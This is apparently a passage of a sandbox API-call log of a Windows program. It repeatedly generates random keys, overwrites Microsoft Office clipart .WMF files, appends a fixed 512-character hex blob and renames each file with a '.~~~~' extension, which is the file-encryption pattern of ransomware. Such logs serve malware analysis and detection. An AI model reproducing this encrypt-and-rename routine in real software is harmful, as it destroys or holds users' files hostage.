	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.271] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23526114219) returned 1
	[0115.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae343890, dwHighDateTime=0x1d60e1e)) 
	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a950
	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a950 | out: hHeap=0x300000) returned 1
	[0115.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af860
	[0115.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.272] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.272] GetLastError () returned 0x0
	[0115.272] GetLastError () returned 0x0
	[0115.272] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.272] GetLastError () returned 0x0
	[0115.273] GetLastError () returned 0x0
	[0115.277] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffa30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.277] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x5d0, lpOverlapped=0x0) returned 1
	[0115.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.279] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.279] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.279] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.279] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.279] CloseHandle (hObject=0x13c) returned 1
	[0115.280] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.280] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.~~~~")) returned 1
	[0115.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.281] GetLastError () returned 0x0
	[0115.285] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.287] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.287] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.287] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23527722389) returned 1
	[0115.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae3699f0, dwHighDateTime=0x1d60e1e)) 
	[0115.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a988
	[0115.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a988 | out: hHeap=0x300000) returned 1
	[0115.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.288] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afc88
	[0115.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.288] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.288] GetLastError () returned 0x0
	[0115.288] GetLastError () returned 0x0
	[0115.289] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.289] GetLastError () returned 0x0
	[0115.289] GetLastError () returned 0x0
	[0115.291] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff9d4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.291] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x62b6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x62b6, lpOverlapped=0x0) returned 1
	[0115.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.342] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.342] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.342] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.342] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.342] CloseHandle (hObject=0x13c) returned 1
	[0115.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.~~~~")) returned 1
	[0115.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.345] GetLastError () returned 0x0
	[0115.346] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.348] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.348] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.348] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23534066999) returned 1
	[0115.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae401f70, dwHighDateTime=0x1d60e1e)) 
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a9c0
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a9c0 | out: hHeap=0x300000) returned 1
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afd20
	[0115.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.351] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.352] GetLastError () returned 0x0
	[0115.352] GetLastError () returned 0x0
	[0115.352] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.352] GetLastError () returned 0x0
	[0115.352] GetLastError () returned 0x0
	[0115.423] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff9cfe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.423] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x6302, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x6302, lpOverlapped=0x0) returned 1
	[0115.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.424] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.424] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.424] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.424] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.424] CloseHandle (hObject=0x13c) returned 1
	[0115.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.495] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.~~~~")) returned 1
	[0115.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.497] GetLastError () returned 0x0
	[0115.497] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.498] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.498] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.499] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23548869178) returned 1
	[0115.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae57ed30, dwHighDateTime=0x1d60e1e)) 
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ad08
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ad08 | out: hHeap=0x300000) returned 1
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28afdb8
	[0115.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.499] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.500] GetLastError () returned 0x0
	[0115.500] GetLastError () returned 0x0
	[0115.500] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.500] GetLastError () returned 0x0
	[0115.500] GetLastError () returned 0x0
	[0115.502] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd608, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.502] WriteFile (in: hFile=0x148, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x29f8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x29f8, lpOverlapped=0x0) returned 1
	[0115.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.504] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.504] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.504] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.504] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.504] CloseHandle (hObject=0x148) returned 1
	[0115.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.504] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.~~~~")) returned 1
	[0115.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.505] GetLastError () returned 0x0
	[0115.506] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0115.507] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.507] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0115.508] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23549769179) returned 1
	[0115.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xae57ed30, dwHighDateTime=0x1d60e1e)) 
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ad40
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ad40 | out: hHeap=0x300000) returned 1
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b06a0
	[0115.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.508] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0115.508] GetLastError () returned 0x0
	[0115.509] GetLastError () returned 0x0
	[0115.509] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0115.509] GetLastError () returned 0x0
	[0115.509] GetLastError () returned 0x0
	[0115.510] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd74c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.511] WriteFile (in: hFile=0x148, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x28b4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x28b4, lpOverlapped=0x0) returned 1
	[0115.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.512] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.512] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.512] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.512] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.512] CloseHandle (hObject=0x148) returned 1
	[0115.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.512] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.~~~~")) returned 1
	[0115.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.513] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0115.513] GetLastError () returned 0x0
	[0115.513] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
